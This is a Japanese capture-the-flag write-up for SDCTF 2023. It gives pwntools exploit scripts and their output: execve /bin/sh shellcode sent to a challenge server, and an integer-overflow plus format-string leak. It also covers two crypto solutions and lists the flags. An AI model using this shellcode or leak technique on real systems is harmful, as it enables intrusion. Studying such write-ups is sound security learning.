この大会は2023/5/6 9:00(JST)~2023/5/8 9:00(JST)に開催されました。
今回もチームで参戦。結果は1350点で249チーム中29位でした。
自分で解けた問題をWriteupとして書いておきます。
なお、過去問としてno pointsの問題も出題されていましたが、それについてはここでは触れません。
Turtle Shell (PWN 100)
Ghidraでデコンパイルする。
undefined8 main(void) { char *pcVar1; undefined local_48 [56]; code *local_10; setbuf(stdin,(char *)0x0); setbuf(stdout,(char *)0x0); setbuf(stderr,(char *)0x0); puts("Say something to make the turtle come out of its shell"); fgets(local_48,0x32,stdin); pcVar1 = strstr(local_48,bad); if (pcVar1 == (char *)0x0) { local_10 = (code *)local_48; (*local_10)(); } return 0; } bad XREF[2]: Entry Point(*), main:004006af(R) 00600b30 78 07 40 addr DAT_00400778 = B0h 00 00 00 00 00 DAT_00400778 XREF[3]: main:004006af(*), main:004006ba(*), 00600b30(*) 00400778 b0 ?? B0h 00400779 3b ?? 3Bh ; 0040077a 00 ?? 00h 0040077b 00 ?? 00h 0040077c 00 ?? 00h 0040077d 00 ?? 00h 0040077e 00 ?? 00h 0040077f 00 ?? 00h
$ checksec --file turtle-shell [*] '/mnt/hgfs/Shared/turtle-shell' Arch: amd64-64-little RELRO: No RELRO Stack: No canary found NX: NX disabled PIE: No PIE (0x400000) RWX: Has RWX segments
シェルコードを入力すると、そのコードを実行できる。その際\xb0\x3bを使用していなければよい。https://note.com/pien2021/n/n40ec68726989で使っているシェルコードを使う。
#!/usr/bin/env python3 from pwn import * p = remote('turtle.sdc.tf', 1337) payload = b'\x48\x31\xd2\x52\x48\xb8\x2f\x62\x69\x6e\x2f\x73\x68\x00\x50\x48\x89\xe7\x52\x57\x48\x89\xe6\x48\x31\xc0\xb0\x3b\x0f\x05' data = p.recvline().decode().rstrip() print(data) print(payload) p.sendline(payload) p.interactive()
実行結果は以下の通り。
[+] Opening connection to turtle.sdc.tf on port 1337: Done Say something to make the turtle come out of its shell b'H1\xd2RH\xb8/bin/sh\x00PH\x89\xe7RWH\x89\xe6H1\xc0\xb0;\x0f\x05' [*] Switching to interactive mode $ ls flag.txt turtle-shell $ cat flag.txt sdctf{w0w_y0u_m4d3_7h3_7urT13_c0m3_0u7_0f_1t5_5h3l1}
sdctf{w0w_y0u_m4d3_7h3_7urT13_c0m3_0u7_0f_1t5_5h3l1}
money-printer (PWN 150)
intの上限を超えて指定すれば、ループを抜けられる。その後は、FSBの脆弱性を使って、フラグを8バイトリークする。これを繰り返し、フラグ全体を取得する。
#!/usr/bin/env python3 from pwn import * flag = '' i = 10 while True: if len(sys.argv) == 1: p = remote('money.sdc.tf', 1337) else: p = process('./money-printer') money = 2147483648 payload = f'%{i}$p' data = p.recvuntil(b'\n').rstrip().decode() print(data) print(str(money)) p.sendline(str(money).encode()) data = p.recvuntil(b'?\n').rstrip().decode() print(data) print(payload) p.sendline(payload.encode()) data = p.recvuntil(b'\n').rstrip().decode() print(data) flag += p64(int(data.split(' ')[-1], 16)).decode() if '}' in flag or '\x00' in flag: flag = flag.rstrip('\x00') break data = p.recvuntil(b'\n').rstrip().decode() print(data) data = p.recvuntil(b'\n').rstrip().decode() print(data) p.close() i += 1 if '}' not in flag: flag += '}' print(flag)
実行結果は以下の通り。
[+] Opening connection to money.sdc.tf on port 1337: Done I have 100 dollars, how many of them do you want? 2147483648 you can have -2147483648 dollars! wow you've printed money out of thin air, you have 2147483648!!! Is there anything you would like to say to the audience? %10$p wow you said: 0x34647b6674636473 that's truly fascinating! [*] Closed connection to money.sdc.tf port 1337 [+] Opening connection to money.sdc.tf on port 1337: Done I have 100 dollars, how many of them do you want? 2147483648 you can have -2147483648 dollars! wow you've printed money out of thin air, you have 2147483648!!! Is there anything you would like to say to the audience? %11$p wow you said: 0x665f7530795f6e6d that's truly fascinating! [*] Closed connection to money.sdc.tf port 1337 [+] Opening connection to money.sdc.tf on port 1337: Done I have 100 dollars, how many of them do you want? 2147483648 you can have -2147483648 dollars! wow you've printed money out of thin air, you have 2147483648!!! Is there anything you would like to say to the audience? %12$p wow you said: 0x435f345f446e7530 that's truly fascinating! [*] Closed connection to money.sdc.tf port 1337 [+] Opening connection to money.sdc.tf on port 1337: Done I have 100 dollars, how many of them do you want? 2147483648 you can have -2147483648 dollars! wow you've printed money out of thin air, you have 2147483648!!! Is there anything you would like to say to the audience? %13$p wow you said: 0x304d345f597a3472 that's truly fascinating! [*] Closed connection to money.sdc.tf port 1337 [+] Opening connection to money.sdc.tf on port 1337: Done I have 100 dollars, how many of them do you want? 2147483648 you can have -2147483648 dollars! wow you've printed money out of thin air, you have 2147483648!!! Is there anything you would like to say to the audience? %14$p wow you said: 0x4d5f66305f374e75 that's truly fascinating! [*] Closed connection to money.sdc.tf port 1337 [+] Opening connection to money.sdc.tf on port 1337: Done I have 100 dollars, how many of them do you want? 2147483648 you can have -2147483648 dollars! wow you've printed money out of thin air, you have 2147483648!!! Is there anything you would like to say to the audience? %15$p wow you said: 0x79336e30 sdctf{d4mn_y0u_f0unD_4_Cr4zY_4M0uN7_0f_M0n3y} [*] Closed connection to money.sdc.tf port 1337
sdctf{d4mn_y0u_f0unD_4_Cr4zY_4M0uN7_0f_M0n3y}
Jumbled snake (CRYPTO 150)
暗号化処理の概要は以下の通り。
・key = get_rand_key() ・chars_left: printable文字のリスト ・key = {} ・printable文字の各文字charについて以下を実行 ・val: chars_leftから選択 ・chars_leftからvalを削除 ・key[char] = val ・keyを返却 ・doc: print_flag.pyのdecode_flag関数のコメント(改行なし) ・1行目にdocを出力 ・2行目以降にsubs(src.read(), key)を出力
2行目以降の出力結果は、換字式暗号になっている。1行目のデータが含まれていることを使って復号する。
#!/usr/bin/env python3 import string with open('print_flag.py.enc', 'r') as f: enc = f.read() doc = enc.split('\n', 1)[0] ct = enc.split('\n', 1)[1] C = list(string.printable) P = ['*'] * len(C) for i in range(len(ct) - 2 - len(doc)): if ct[i] == ct[i+1] and ct[i+1] == ct[i+2]: if ct[i + len(doc) + 3] == ct[i + len(doc) + 4] \ and ct[i + len(doc) + 4] == ct[i + len(doc) + 5]: index = i + 3 break P[C.index(ct[index - 1])] = '\'' for i in range(len(doc)): P[C.index(ct[index + i])] = doc[i] ## guess ## P[C.index(ct[0])] = '#' P[C.index(ct[1])] = '!' P[C.index(ct[3])] = '/' P[C.index(ct[23])] = '\n' P[C.index(ct[50])] = '=' P[C.index(ct[107])] = '(' P[C.index(ct[109])] = ')' P[C.index(ct[250])] = 'N' ## doc of check function ## check_doc = doc.upper()[2:45][::-1] for i in range(len(check_doc)): P[C.index(ct[i + 165])] = check_doc[i] ## decrypt ## pt = '' for c in ct: pt += P[C.index(c)] print(pt)
復号結果は以下の通り。
#! /usr/bin/env python3 import base64 coded_flag = 'c2RjdGZ7VV91blJhdjNsZWRfdEgzX3NuM2shfQ==' def reverse(s): return ''.join(reversed(s)) def check(): '''GOD_YZAL_EHT_REVO_SPMUJ_XOF_NWORB_KCIUQ_EHT''' assert decode_flag.__doc__ is not None and decode_flag.__doc__.upper()[2:45] == reverse(check.__doc__) def decode_flag(code): '''{'the_quick_brown_fox_jumps_over_the_lazy_dog': 123456789.0, 'items':[]}''' return base64.b64decode(code).decode() if __name__ == '__main__': check() print(decode_flag(coded_flag))
coded_flagをbase64デコードする。
$ echo c2RjdGZ7VV91blJhdjNsZWRfdEgzX3NuM2shfQ== | base64 -d sdctf{U_unRav3led_tH3_sn3k!}
sdctf{U_unRav3led_tH3_sn3k!}
Lake of Pseudo Random Fire (CRYPTO 300)
サーバの処理概要は以下の通り。
・rooms = 50 ・messages_left = 100 ・roomが0より大きい間、以下を実行 ・correct_door: ランダム1ビット整数 ・correct_doorが0の場合 ・left_game = PRFGame(0) ・left_game.plaintext_ciphertext = {} ・left_game.key: ランダム16バイト ・left_game.mode = 0 ・right_game = PRFGame(1) ・right_game.plaintext_ciphertext = {} ・right_game.key: ランダム16バイト ・right_game.mode = 1 ・correct_doorが1の場合 ・left_game = PRFGame(1) ・right_game = PRFGame(0) ・以下繰り返し ・decision: 入力 ・decisionが"1"の場合 ・left_game.modeが0の場合、roomsをマイナス1 ・left_game.modeが1の場合、終了 ・decisionが"2"の場合 ・right_game.modeが0の場合、roomsをマイナス1 ・right_game.modeが1の場合、終了 ・decisionが"3"の場合 ・messages_left = orycull(messages_left, left_game, right_game) ・以下繰り返し ・message_leftが0の場合、継続(永久に終了しない) ・hex_message: 入力 ・message: hex_messageをhexデコード ・messageの長さが16でない場合、継続 ・left_response: left_game.oracle(message)のhexエンコード ・left_game.modeが0の場合 ・left_game.random(message)を返却 ・left_game.plaintext_ciphertextにmessageがある場合、left_game.plaintext_ciphertext[message]を返却 ・random_string: ランダム32バイト文字列 ・left_game.plaintext_ciphertext[message] = random_string ・random_stringを返却 ・left_game.modeが1の場合 ・left_game.pseudorandom(message)を返却 ・msg_comp: messageと0xffのXOR ・messageのAES-ECB暗号 + msg_compのAES-ECB復号を返却 ・right_response: right_response.oracle(message)のhexエンコード ・left_response、right_responseを表示 ・messages_left - 1を返却
3で一回目に適当な文字列16バイトAを指定する。
pseudorandom関数を使った場合、以下の結果になる。
Enc(A) + Dec(A ^ 0xff)
二回目でDec(A ^ 0xff)を指定すると、pseudorandom関数を使った場合、以下の結果になる。
Enc(Dec(A ^ 0xff)) + Dec(Dec(A ^ 0xff) ^ 0xff) = (A ^ 0xff) + Dec(Dec(A ^ 0xff) ^ 0xff)
先頭16バイトを0xffでXORすると、Aになるはずなので、この検証をすることによってleftかrightかを判定する。
#!/usr/bin/env python3 import socket import binascii def recvuntil(s, tail): data = b'' while True: if tail in data: return data.decode() data += s.recv(1) message = 'A' * 16 hex_message = binascii.hexlify(message.encode()).decode() xor_message = bytes([x ^ 0xff for x in message.encode()]) s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect(('prf.sdc.tf', 1337)) for room in range(50): data = recvuntil(s, b'?\n').rstrip() print(data) data = recvuntil(s, b': ') print(data + '3') s.sendall(b'3\n') data = recvuntil(s, b': ') print(data + hex_message) s.sendall(hex_message.encode() + b'\n') data = recvuntil(s, b'\n').rstrip() print(data) data = recvuntil(s, b'\n').rstrip() print(data) hex_message2 = data.split(' ')[-1][32:] data = recvuntil(s, b'\n').rstrip() print(data) data = recvuntil(s, b': ') print(data + '3') s.sendall(b'3\n') data = recvuntil(s, b': ') print(data + hex_message2) s.sendall(hex_message2.encode() + b'\n') data = recvuntil(s, b'\n').rstrip() print(data) data = recvuntil(s, b'\n').rstrip() print(data) if data.split(' ')[-1][:32] == xor_message.hex(): decision = '1' else: decision = '2' data = recvuntil(s, b'\n').rstrip() print(data) data = recvuntil(s, b': ') print(data + decision) s.sendall(decision.encode() + b'\n') data = recvuntil(s, b'\n').rstrip() print(data) data = recvuntil(s, b'\n').rstrip() print(data) for _ in range(3): data = recvuntil(s, b'\n').rstrip() print(data)
実行結果は以下の通り。
: : ┌---------┐ ┌---------┐ | | | | | | | | | | | | | O | | O | | | | | | | | | └---------┘ └---------┘ You enter a room. Inside the room are two doors. How do you proceed? 1 - Choose left door 2 - Choose right door 3 - Call on Orycull the High Priest Enter a number: 3 Enter your incantation for Orycull to utter: 41414141414141414141414141414141 The left door sings: 03bc1c9f8cebcb392e5c2af980f52b6ba36e20a24b57fec41c9e3297abe49380 The right door sings: eaf7f4716028c68fba5e5c37af9c4f109f7702610abd0fa41fa156b78319c01b Orycull can still speak 9 more times. 1 - Choose left door 2 - Choose right door 3 - Call on Orycull the High Priest Enter a number: 3 Enter your incantation for Orycull to utter: 9f7702610abd0fa41fa156b78319c01b The left door sings: 9e337331e6dc282a199bd2f56a6b513ba0b8842ff52f5428f9da0de5f8c7a265 The right door sings: bebebebebebebebebebebebebebebebe422fda045875349a4e765903484cdf98 Orycull can still speak 8 more times. 1 - Choose left door 2 - Choose right door 3 - Call on Orycull the High Priest Enter a number: 1 Phew! You didn't walk into the Lake of Pseudo-Random Fire. There are 4 rooms remaining. Onwards... ┌---------┐ ┌---------┐ | | | | | | | | | | | | | O | | O | | | | | | | | | └---------┘ └---------┘ You enter a room. Inside the room are two doors. How do you proceed? 1 - Choose left door 2 - Choose right door 3 - Call on Orycull the High Priest Enter a number: 3 Enter your incantation for Orycull to utter: 41414141414141414141414141414141 The left door sings: f72a8037b212ca4ccf0ce8f3fde475b31400ef9df149c4c09db73dc5d68714e4 The right door sings: 58da98814d07d23103a54d02f1541edc937c9ea825138f9636fa2abadff455f1 Orycull can still speak 7 more times. 1 - Choose left door 2 - Choose right door 3 - Call on Orycull the High Priest Enter a number: 3 Enter your incantation for Orycull to utter: 937c9ea825138f9636fa2abadff455f1 The left door sings: 495b2eafe4dffedccbb45eadea13c6a8672b2513091738bd34b23917d77a0526 The right door sings: bebebebebebebebebebebebebebebebef33f308f72bbb89203a3a65357109568 Orycull can still speak 6 more times. 1 - Choose left door 2 - Choose right door 3 - Call on Orycull the High Priest Enter a number: 1 Phew! You didn't walk into the Lake of Pseudo-Random Fire. There are 3 rooms remaining. Onwards... ┌---------┐ ┌---------┐ | | | | | | | | | | | | | O | | O | | | | | | | | | └---------┘ └---------┘ You enter a room. Inside the room are two doors. How do you proceed? 1 - Choose left door 2 - Choose right door 3 - Call on Orycull the High Priest Enter a number: 3 Enter your incantation for Orycull to utter: 41414141414141414141414141414141 The left door sings: d30ae3bae74c92e2a66da741d26337bc13daf159f8146630034586d84d7afe74 The right door sings: 76d4888d7fe38988f478b1204b75f0546a5fb1528d71f08a9f09a96d3b8b7afd Orycull can still speak 5 more times. 1 - Choose left door 2 - Choose right door 3 - Call on Orycull the High Priest Enter a number: 3 Enter your incantation for Orycull to utter: 6a5fb1528d71f08a9f09a96d3b8b7afd The left door sings: 2120f12ae8f72e58c53a1f7d9011f684947be886b2e34ada2764642525021faa The right door sings: 531bc846dcf1bae264959771727714de31381db990b6bad726ef00e828eb9f7f Orycull can still speak 4 more times. 1 - Choose left door 2 - Choose right door 3 - Call on Orycull the High Priest Enter a number: 2 Phew! You didn't walk into the Lake of Pseudo-Random Fire. There are 2 rooms remaining. Onwards... ┌---------┐ ┌---------┐ | | | | | | | | | | | | | O | | O | | | | | | | | | └---------┘ └---------┘ You enter a room. Inside the room are two doors. How do you proceed? 1 - Choose left door 2 - Choose right door 3 - Call on Orycull the High Priest Enter a number: 3 Enter your incantation for Orycull to utter: 41414141414141414141414141414141 The left door sings: bdfd31dc9dbafdabf78be041971496cacbe1dc50bc7f42d1fb8ea7ab0f435eeb The right door sings: b2c6257884be3d80fea1a6d53a138f1c78ededf033c94690e41851edbd3b99c1 Orycull can still speak 3 more times. 1 - Choose left door 2 - Choose right door 3 - Call on Orycull the High Priest Enter a number: 3 Enter your incantation for Orycull to utter: 78ededf033c94690e41851edbd3b99c1 The left door sings: 4244c8b424b6f30aa91a04ccda3829e1f5b97360094a39a47e3a66ef48d77168 The right door sings: 8e379f0313679046155372106371676cfd86cb01627b6decc3a10304cc91989f Orycull can still speak 2 more times. 1 - Choose left door 2 - Choose right door 3 - Call on Orycull the High Priest Enter a number: 2 Phew! You didn't walk into the Lake of Pseudo-Random Fire. There are 1 rooms remaining. Onwards... ┌---------┐ ┌---------┐ | | | | | | | | | | | | | O | | O | | | | | | | | | └---------┘ └---------┘ You enter a room. Inside the room are two doors. How do you proceed? 1 - Choose left door 2 - Choose right door 3 - Call on Orycull the High Priest Enter a number: 3 Enter your incantation for Orycull to utter: 41414141414141414141414141414141 The left door sings: a5567e32cd5a07d452f319f86be7f40fbbeabc0a3c40757c1d4f1bc8609ecd2b The right door sings: 2aed40a0b9bba8d80fb78b67ac042265804e28a1a0451be84d3bc9d33443b30c Orycull can still speak 1 more times. 1 - Choose left door 2 - Choose right door 3 - Call on Orycull the High Priest Enter a number: 3 Enter your incantation for Orycull to utter: 804e28a1a0451be84d3bc9d33443b30c The left door sings: 91f849e4c8b62f696d58e934a97c97dc1015592895ce33ed50e26d9313b8a4f9 The right door sings: 0ced7432ce7bb1e066a544ebf56acd0be14d4d1637977fe379756e74e76b4bae Orycull can still speak 0 more times. 1 - Choose left door 2 - Choose right door 3 - Call on Orycull the High Priest Enter a number: 2 Phew! You didn't walk into the Lake of Pseudo-Random Fire. There are 0 rooms remaining. Onwards... Magnificent! You have braved the 50 rooms. Unfortunately, to your chagrin, the Beacon of True Randomness is in another castle... Oh well. Here's a consolation prize: b'sdctf{n07_V3rY_pS3uD0R4nD0m_a6d137}'
sdctf{n07_V3rY_pS3uD0R4nD0m_a6d137}